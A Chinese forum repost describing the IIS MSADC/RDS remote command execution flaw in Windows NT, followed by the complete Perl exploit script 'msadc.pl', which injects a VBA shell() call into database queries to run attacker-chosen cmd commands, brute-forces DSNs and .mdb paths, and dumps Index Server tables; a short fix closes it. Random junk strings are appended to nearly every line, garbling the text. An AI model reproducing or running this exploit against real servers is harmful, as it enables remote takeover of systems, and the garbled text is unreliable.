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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 4"$K66yk@  
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涉及程序: uzf@49m]m  
Microsoft NT server g8 (zvG;Y  
|_&Tu#er3  
描述: e:9CD-  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 = > .EDL.  
a6K1-SR^6)  
详细: "=l<%em  
如果你没有时间读详细内容的话,就删除: P;%4Imq3  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 7aH E:Dnwp  
有关的安全问题就没有了。 liEb(<$a  
DlB"o.  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 hZ0p /Bdv  
FA 1E`AdU  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 LOY+^  
关于利用ODBC远程漏洞的描述,请参看: U#oe8(?#  
R} nY8zE  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm qXPT1%+)y  
zz ^2/l  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 "0pH@_8o{  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp B_FfXFQm<  
f =H,BQ  
这里不再论述。 4:$?u}9[:[  
([loWr}QR  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: %|(~k*s4  
$y !k)"k  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset NB]T~_?]*  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! ^%X,Rml<e  
RX",Zt$q  
\~H; Wt5  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 3VJoH4E!6  
\0%)eJ  
#!perl q7}$F]UM"  
# "hRw_<  
# MSADC/RDS 'usage' (aka exploit) script vkmTd4g  
# .lMIJN&/  
# by rain.forest.puppy zh5{t0E}C  
# . e2qa  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Hu$]V*rAG  
# beta test and find errors! >S /Zd  
&*TwEN^h  
use Socket; use Getopt::Std; du2q6"  
getopts("e:vd:h:XR", \%args); iqecm]Z0  
(5@9j  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 8+Lig  
w7Nb+/,sg  
if (!defined $args{h} && !defined $args{R}) { .Z=D|&!  
print qq~ WeGT}  
Usage: msadc.pl -h <host> { -d <delay> -X -v } MRvtuE|g  
-h <host> = host you want to scan (ip or domain) E.v~<[g  
-d <seconds> = delay between calls, default 1 second Qh%(yL!  
-X = dump Index Server path table, if available }Sa2s&[<  
-v = verbose #pJ^w>YNy  
-e = external dictionary file for step 5 J-g#zs  
1nh2()QI[  
Or a -R will resume a command session HjTK/x'_'L  
/kLX f_  
~; exit;} n8"S;:Zm  
Ba/Z<1)  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; H27J kZ&  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} zuOx@T^  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ?'H);ou-p  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);  /kGRN @  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} pyK|zvr-r  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ua(y! Im  
|xaJv:96%  
if (!defined $args{R}){ $ret = &has_msadc; xw-x<7  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} |Ia3bV W  
4VE7%.z+  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" pfW0)V1t  
. "cmd /c "; 1 O+4A[cr  
$in=<STDIN>; chomp $in; o"@y=n/  
$command="cmd /c " . $in ; d )|{iUcW  
}'{39vc .  
if (defined $args{R}) {&load; exit;} }zVPdBRfm  
ADRjCk}I  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; nGA'\+zj L  
&try_btcustmr; c@:L7#8  
v#0R   
print "\nStep 2: Trying to make our own DSN..."; q#B^yk|Y  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; >'eOzMBn  
b?h9G3J_a  
print "\nStep 3: Trying known DSNs..."; WSfla~-'F  
&known_dsn; ^=Rqa \;  
>`DbT:/<  
print "\nStep 4: Trying known .mdbs..."; ]X +3"  
&known_mdb; 5J1A|qII  
b7>^w<ki  
if (defined $args{e}){ E)|_7x<u  
print "\nStep 5: Trying dictionary of DSN names..."; <^VZ4$j  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } HBYqqEO  
"HFS5Bj'  
print "Sorry Charley...maybe next time?\n"; 0 3L"W^gc  
exit; -!(  
*W q{ :k  
############################################################################## S1^u/$*6  
#=R)s0j"  
sub sendraw { # ripped and modded from whisker <Ft6d  
sleep($delay); # it's a DoS on the server! At least on mine... @YmD 79  
my ($pstr)=@_; ann!"s_  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || y'4H8M2?  
die("Socket problems\n"); Iw~3y{\  
if(connect(S,pack "SnA4x8",2,80,$target)){ Y?hC/ 6$7  
select(S); $|=1; p2|c8n==  
print $pstr; my @in=<S>; ABEC{3fWpu  
select(STDOUT); close(S); zcItZP  
return @in; W5?F?Dp!v  
} else { die("Can't connect...\n"); }} z<rdxn,9  
pmXx2T#=  
############################################################################## HbF.doXK  
MrjET!`.jC  
sub make_header { # make the HTTP request 9z 5K  -s  
my $msadc=<<EOT $DW3H1iW  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 YMP:T?vMVh  
User-Agent: ACTIVEDATA ^a|$z$spf  
Host: $ip /_E:sI9(  
Content-Length: $clen $enh>!mU  
Connection: Keep-Alive v'*Q[ ('  
vBsd.2t~  
ADCClientVersion:01.06 >x)YdgJ*  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 xI'<4lo7Z  
\/4ipU.  
--!ADM!ROX!YOUR!WORLD! &|P@$O>  
Content-Type: application/x-varg N]: "3?%  
Content-Length: $reqlen v,r}q1.E}  
xEaRuH c  
EOT i7 `dY {p7  
; $msadc=~s/\n/\r\n/g; 94%gg0azp  
return $msadc;} j~V@0z.  
w.J[3m/  
############################################################################## (utm+*V,  
*w4jET>  
sub make_req { # make the RDS request ,.tT9? m  
my ($switch, $p1, $p2)=@_; ~c[} %Ir>  
my $req=""; my $t1, $t2, $query, $dsn; _Jj/"?  
qie7iE`o  
if ($switch==1){ # this is the btcustmr.mdb query AY:3o3M  
$query="Select * from Customers where City=" . make_shell(); 8 f%@:}H  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ` 1DJwe2  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 2;%DE<Z  
VE^NSk Oa&  
elsif ($switch==2){ # this is general make table query _:0<]<x?  
$query="create table AZZ (B int, C varchar(10))";  }5bh,'  
$dsn="$p1";} {rGq|Bj  
Vn? %w~0!  
elsif ($switch==3){ # this is general exploit table query )eGGA6G  
$query="select * from AZZ where C=" . make_shell(); }GsZ)\!$4  
$dsn="$p1";} -h*Yd)  
r9@O`i  
elsif ($switch==4){ # attempt to hork file info from index server dN;kYWRK  
$query="select path from scope()"; NUb^!E"  
$dsn="Provider=MSIDXS;";} tx&>Eo  
B{a:cz>0<  
elsif ($switch==5){ # bad query ]4\^>  
$query="select"; :gY$/1SYD  
$dsn="$p1";} C<fWDLwYqV  
;_K+b,  
$t1= make_unicode($query); %f\{ ]  
$t2= make_unicode($dsn); GmtMA|  
$req = "\x02\x00\x03\x00"; k);z}`7  
$req.= "\x08\x00" . pack ("S1", length($t1)); 8,YF>O&  
$req.= "\x00\x00" . $t1 ; ]R}#3(]1  
$req.= "\x08\x00" . pack ("S1", length($t2)); Ri4_zb  
$req.= "\x00\x00" . $t2 ; UT [7 J  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; m\7-/e2 a  
return $req;} #h ;j2  
WM: ~P$%cx  
############################################################################## 28SlFu?  
rui}a=rs  
sub make_shell { # this makes the shell() statement [e3|yE6  
return "'|shell(\"$command\")|'";} -'JTVfm.  
'*!R gbj;  
############################################################################## *jGB/ y  
[{N i94:d  
sub make_unicode { # quick little function to convert to unicode [Z,A quCU(  
my ($in)=@_; my $out; r\vB-nJ  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } K7<'4i~k  
return $out;} jd l1Q<Z  
=nFT0];  
############################################################################## mLk@&WxG  
H#k"[eZ  
sub rdo_success { # checks for RDO return success (this is kludge) 9 f-T>}  
my (@in) = @_; my $base=content_start(@in); swG^L$r`  
if($in[$base]=~/multipart\/mixed/){ x `PIJE  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} J[YA1  
return 0;} v6oPAqj,r  
riZFcVsB  
############################################################################## G6JyAC9j  
Q'JEDH\  
sub make_dsn { # this makes a DSN for us /}2 bsiJT  
my @drives=("c","d","e","f"); 0NfO|l7P  
print "\nMaking DSN: "; )]J I Q"rR  
foreach $drive (@drives) { 5h1!E  
print "$drive: "; Y:^ =jV7  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . !W^2?pqN  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" _4o2AS:j  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); 2F!K }aw  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; cAyR)Y!I  
return 0 if $2 eq "404"; # not found/doesn't exist uByF*}d1  
if($2 eq "200") { &Xe r#6~  
foreach $line (@results) { f Otrn  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} |C'w] QYm  
} return 0;} /2>-h-zBjw  
7zr\AgV9  
############################################################################## U`FybP2R~  
y;0.P?Il"  
sub verify_exists { '`"LX!"ZO  
my ($page)=@_; -_uL;9r  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 2-llT  
return $results[0];} Ms1G&NYP  
ifTVTd7O  
############################################################################## |rdG+ >  
&-<"HW  
sub try_btcustmr { wuzz Wq  
my @drives=("c","d","e","f"); }K~JM1(26  
my @dirs=("winnt","winnt35","winnt351","win","windows"); <B`}18x  
{tOuKnnS  
foreach $dir (@dirs) { J}jK_  
print "$dir -> "; # fun status so you can see progress Vnh +2XiK  
foreach $drive (@drives) {  3mWo`l  
print "$drive: "; # ditto rctn0*MP  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; _QvyFKAM  
$reqlenlen=length( "$reqlen" ); gK(E0p"  
$clen= 206 + $reqlenlen + $reqlen; XYod>[.x  
l]WV?^*  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); a47Btd'm  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 8o-?Y.2  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ]~WP;o  
?[RG8,B  
############################################################################## vR,HCI  
hp-< 8Mf  
sub odbc_error { ,z1# |Y  
my (@in)=@_; my $base; n/$BdFH  
my $base = content_start(@in); C^n L{ZP,  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this v^@L?{" }8  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ^l$(-#'y  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Y D.3FTNGC  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; |\QR9>  
return $in[$base+4].$in[$base+5].$in[$base+6];} O b8[P=  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 3;>(W  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . m*i~Vjxj-m  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} R%#c~NOO  
?b#?Vz  
############################################################################## {)b`fq  
]2h[.qa  
sub verbose { wW%I < M  
my ($in)=@_; #H!~:Xu   
return if !$verbose; 30DpIkf  
print STDOUT "\n$in\n";} <(f4#B P  
"VT5WFj  
############################################################################## _ <>+Dk&  
{q}: w{x9u  
sub save { 2CmeO&(Qf*  
my ($p1, $p2, $p3, $p4)=@_; gKYn*  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; ]G1j\wnF  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 8OBvC\%  
close OUT;} U">OdoZ,E+  
d\)v62P  
############################################################################## dH`a|SVW9  
c U{LyZp  
sub load { >p<( CVX[  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; {;p /V\   
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); :+R5"my  
@p=<IN>; close(IN); spl*[ d  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Xrz0ch  
$target= inet_aton($ip) || die("inet_aton problems"); qS2%U?S7  
print "Resuming to $ip ..."; l w%fY{  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; [;?^DAnK2  
if($p[1]==1) { r p @=  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; }K*ri  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; x _2]G'  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Q1jyetk~I  
if (rdo_success(@results)){print "Success!\n";} ]-}a{z  
else { print "failed\n"; verbose(odbc_error(@results));}} mdZELRu  
elsif ($p[1]==3){ "q(&<+D@  
if(run_query("$p[3]")){ <=zGaU,  
print "Success!\n";} else { print "failed\n"; }} *,R e&N8  
elsif ($p[1]==4){ `Ch6"= t  
if(run_query($drvst . "$p[3]")){ :?p{ga9  
print "Success!\n"; } else { print "failed\n"; }} 5G!X4%a  
exit;} V`H#|8\i  
{$EXI]f  
############################################################################## I}q-J~s  
G` 8j ^H,  
sub create_table { r]E$uq bR  
my ($in)=@_; c3}}cFe  
$reqlen=length( make_req(2,$in,"") ) - 28; w1}[lq@  
$reqlenlen=length( "$reqlen" ); )F~_KD)7jJ  
$clen= 206 + $reqlenlen + $reqlen; |.S;z"v![  
my @results=sendraw(make_header() . make_req(2,$in,"")); [%@zH  
return 1 if rdo_success(@results); cr/|dc'  
my $temp= odbc_error(@results); verbose($temp); $bo^UYZ6  
return 1 if $temp=~/Table 'AZZ' already exists/; ^s?wnEo;j  
return 0;} O[`Ob6Q{F  
>ciq4H43Q|  
############################################################################## [qXpi'q[  
7d<v\=J}  
sub known_dsn { z=fag'fzM  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 1]<!Xuk^f  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 9F-k:hD |  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", W+eN%w5  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ;+jp,( 7  
{jVFlKP>  
foreach $dSn (@dsns) { \8$`:3,@  
print "."; OM.^>=  
next if (!is_access("DSN=$dSn")); M ?3N  
if(create_table("DSN=$dSn")){ kzmt'/L8  
print "$dSn successful\n"; [yyV`&  
if(run_query("DSN=$dSn")){ wiGwN  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { RasoOj$  
print "Something's borked. Use verbose next time\n";}}} print "\n";} U;nC)'~YW9  
UQ8x #(`ak  
############################################################################## L,ra=SVF  
y8 Nb 8m  
sub is_access { iWCV(!  
my ($in)=@_; Z-<u?f8{*  
$reqlen=length( make_req(5,$in,"") ) - 28; joA+  
$reqlenlen=length( "$reqlen" ); }ot _k-  
$clen= 206 + $reqlenlen + $reqlen; O`u!P\  
my @results=sendraw(make_header() . make_req(5,$in,"")); bPOx~ CMh  
my $temp= odbc_error(@results); K+}Z6_:  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); W"*R#:Q  
return 0;} 7X|r';"?i  
{#%xq]r_  
############################################################################## Cb6MD  
S3_4i;K\  
sub run_query { y(dS1.5F  
my ($in)=@_; Z~uKT n  
$reqlen=length( make_req(3,$in,"") ) - 28; br;G5^j3?  
$reqlenlen=length( "$reqlen" ); ]M2<I#hF.  
$clen= 206 + $reqlenlen + $reqlen; ./ :86@O  
my @results=sendraw(make_header() . make_req(3,$in,"")); KRtu@;?  
return 1 if rdo_success(@results); 93J)9T  
my $temp= odbc_error(@results); verbose($temp); }*'ha=`J  
return 0;} 4yA`);r62  
6+5Catsn  
############################################################################## V!P3CNK  
V9 VP"kD  
sub known_mdb { AAW7@\q.  
my @drives=("c","d","e","f","g"); 6:,^CI|@ t  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 2{CSH_"Z7  
my $dir, $drive, $mdb; 64lEB>VNm  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; eTc`FXw`  
v2{O67j} o  
# this is sparse, because I don't know of many hkJZqUA  
my @sysmdbs=( "\\catroot\\icatalog.mdb", vo$66A  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", /4?`F} 7)  
"\\system32\\certmdb.mdb", ]cr;PRyv  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% =#tQIhX`  
s2v*  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", b8>9mKs  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ddP,_.0  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", h7$!wf!I  
"\\cfusion\\cfapps\\security\\realm_.mdb", @9h#o5y q  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", !`_f\  
"\\cfusion\\database\\cfexamples.mdb", =dBrmMh  
"\\cfusion\\database\\cfsnippets.mdb", :#}`uR,D/  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", [S:)UvB  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", {*U:Wm<  
"\\cfusion\\brighttiger\\database\\cleam.mdb", cnthtv+(~  
"\\cfusion\\database\\smpolicy.mdb", 9ojhI=:  
"\\cfusion\\database\cypress.mdb", gcxk 'd  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", d mz3O(]$  
"\\website\\cgi-win\\dbsample.mdb", YZl%JX  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", %?hLo8  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" p]&Q`oh  
); #these are just CK(ev*@\D,  
foreach $drive (@drives) { ? 6d4T  
foreach $dir (@dirs){ V+24-QWh  
foreach $mdb (@sysmdbs) { QNXxpoS#  
print "."; 8~E)gV+v  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ P;%QA+%7  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; Hz8`)cv`  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ f'OvG@  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; n*~   
} else { print "Something's borked. Use verbose next time\n"; }}}}} Mj B[5:s  
"6yiQ\`J  
foreach $drive (@drives) { Td*Oljj._U  
foreach $mdb (@mdbs) { XL^N5  
print "."; 3 \r@f_p  
if(create_table($drv . $drive . $dir . $mdb)){ <y!r~?  
print "\n" . $drive . $dir . $mdb . " successful\n"; UwkX[u  
if(run_query($drv . $drive . $dir . $mdb)){ V^I /nuy  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; q}$=bR1+  
} else { print "Something's borked. Use verbose next time\n"; }}}} 9D{).f0  
} f9UaAdJ(  
"5:f{GfO#v  
############################################################################## )V3(nZY  
h(Ed%  
sub hork_idx { 5iddB $  
print "\nAttempting to dump Index Server tables...\n"; 1:zu$|%7  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; g@i>R>  
$reqlen=length( make_req(4,"","") ) - 28; 4D$sFR|?t  
$reqlenlen=length( "$reqlen" ); *\KvcRMGUa  
$clen= 206 + $reqlenlen + $reqlen; b',bi.FH  
my @results=sendraw2(make_header() . make_req(4,"","")); b0Ov+ )7#  
if (rdo_success(@results)){ %D(prA_w  
my $max=@results; my $c; my %d; ;&6PL]/d  
for($c=19; $c<$max; $c++){ ;-pvc<_c<  
$results[$c]=~s/\x00//g; wp.e3l  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 9}cuAVI  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; /}`/i(k  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; w"agn}CK  
$d{"$1$2"}="";} h5rP]dbhXU  
foreach $c (keys %d){ print "$c\n"; } Nu/Qa:H_{  
} else {print "Index server doesn't seem to be installed.\n"; }} m}[~A@qD  
:$i:8lz  
############################################################################## ^>8]3@ Nh  
<nTmZ-;  
sub dsn_dict { b+].Uc  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); nX\]i~  
while(<IN>){ c48J!,jCd'  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 0j!ke1C&C  
next if (!is_access("DSN=$dSn")); k> &s( b  
if(create_table("DSN=$dSn")){ * \o$-6<  
print "$dSn successful\n"; =j+oKGkoCa  
if(run_query("DSN=$dSn")){ x56 F  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { w<~<(5mM5;  
print "Something's borked. Use verbose next time\n";}}} (_qBsng:  
print "\n"; close(IN);} 6!%d-Z7)  
ccn`f]5w  
############################################################################## `)=A !x y  
8#]7`o  
sub sendraw2 { # ripped and modded from whisker $wYuH9(  
sleep($delay); # it's a DoS on the server! At least on mine... YNC0Z'c9  
my ($pstr)=@_; rw8J:?0x  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || sb|3|J6=  
die("Socket problems\n"); J4[x,(iq(  
if(connect(S,pack "SnA4x8",2,80,$target)){ qSoBj&6y  
print "Connected. Getting data"; ra%R:xX  
open(OUT,">raw.out"); my @in; hGA!1a4 c  
select(S); $|=1; print $pstr; -[=AlqL  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} adO!Gs9f?  
close(OUT); select(STDOUT); close(S); return @in; 9U7Mu;4  
} else { die("Can't connect...\n"); }} 1 x\VdT  
qXB03}] G  
############################################################################## -?aw^du  
,dZ#,<  
sub content_start { # this will take in the server headers y4/>Ol]  
my (@in)=@_; my $c; +f\pk \Ith  
for ($c=1;$c<500;$c++) { v$)@AE  
if($in[$c] =~/^\x0d\x0a/){ xMSNrOc  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } jA-5X?!In  
else { return $c+1; }}} Q"OV>klk  
return -1;} # it should never get here actually %>i@F=O2<  
>W'j9+Va  
############################################################################## /4yOs@#  
H\ 3M  
sub funky { _Aa[?2 O  
my (@in)=@_; my $error=odbc_error(@in); Hfke  
if($error=~/ADO could not find the specified provider/){ >b'w'"  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; Po> e kz_E  
exit;} 5)mVy?Z  
if($error=~/A Handler is required/){ P2On k l  
print "\nServer has custom handler filters (they most likely are patched)\n"; m`'=)x|  
exit;} 7UnzIe  
if($error=~/specified Handler has denied Access/){ =:4?>2)  
print "\nServer has custom handler filters (they most likely are patched)\n"; f7Zf}1|  
exit;}} 9[kX/#~W*  
Fqo&3+J4  
############################################################################## }S,-uggz  
3x![ 8 x  
sub has_msadc { prUHjS  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); sW?B7o?  
my $base=content_start(@results); ^1.7Juvb  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); <^Nk.E  
return 0;} ' X}7]y  
+5-]iKh  
######################## X($6IL6m  
Ae6("Oid  
\BUqDd!  
解决方案: 66 N)  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll @HvScg*Y  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 tOM(U-7Z&  
<m0{'xw  
拿出来充数 哈哈
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